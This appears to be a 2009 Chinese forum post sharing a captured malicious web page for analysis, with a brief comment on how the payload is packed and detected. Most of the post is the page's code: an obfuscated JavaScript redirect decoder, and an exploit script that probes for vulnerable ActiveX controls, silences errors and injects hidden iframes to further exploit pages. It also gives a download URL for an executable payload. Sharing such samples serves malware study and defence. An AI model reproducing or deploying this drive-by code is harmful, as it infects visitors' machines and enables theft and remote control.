test.yyvvttcc.cn/avastindex/mingda.htm
<html><body><script>function decoder(){var bfbb=new Array(71,199,57,226,232,136,208,73,237,168,76,24,236,242,13,194,41,191,184,215,31,68,103,95,5,117,107,51,185);var mrq=4;do{if(mrq>26)break;bfbb[mrq]=(-((((bfbb[mrq]-bfbb[mrq+1])&0xff)+207)&0xff))&0xff;mrq++;}while(true);var mrq=25;while(mrq>=1){bfbb[mrq]=(((bfbb[mrq]-bfbb[mrq-1])&0xff)+150)&0xff;bfbb[mrq]=(bfbb[mrq]-172)&0xff;mrq--;}var mrq=26;for(;;mrq--){if(mrq<3)break;bfbb[mrq]=(((((bfbb[mrq]>>1)|((bfbb[mrq]<<7)&0xff))-176)&0xff)>>6)|((((((bfbb[mrq]>>1)|((bfbb[mrq]<<7)&0xff))-176)&0xff)<<2)&0xff);}return String.fromCharCode(bfbb[1],bfbb[3],bfbb[5],bfbb[6],bfbb[7],bfbb[10],bfbb[12],bfbb[13],bfbb[15],bfbb[18],bfbb[19],bfbb[23],bfbb[26],bfbb[27]);}window.location="/avastindex/mingda.htm?"+decoder();</script><br><br><center><h3>访问本页面，您的浏览器需要支持JavaScript</h3></center></body></html>
just 4-7 day!
<script src=avastniou.js></script>
<script src=avast2.js></script>
<script src=avast3.js></script>
<script>
document.write("<iframe src=ccieie.htm width=1 height=111></iframe>");
document.write("just for fun~~");
window.status="完成";
window.onerror=function(){return true;}
document.write("kis");
document.write("kav");
var weizi10="xxxxxxx";var weizi9="xxxxx";
try{var nx;var weizi3="avpandkav";
var ll=new ActiveXObject("snpvw.Snapshot Viewer Control.1");}
catch(nx){};
finally{if(nx!="[object Error]"){document.write("<iframe width=1 height=111 src=wwaccess.htm></iframe>");}}
try{var n;var weizi4="kis";
var hl=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1");}
catch(n){};
finally{if(n!="[object Error]"){document.write("Downloader.DLoader.1");
document.write("<Iframe width=100 height=0 src=wwsina.htm></iframe>");}}
var weizi11="xxxxxxxx";
document.write("just for fun~~");
</script>
http://download.killring.cn/avast/ccc.exe
采用.RLPack壳，不常见。瑞星提示NSDOWNLOADER，没现成的脱壳机，呵呵
|
发表于 2009-5-18 18:52:30
发表于 2009-5-18 19:31:06
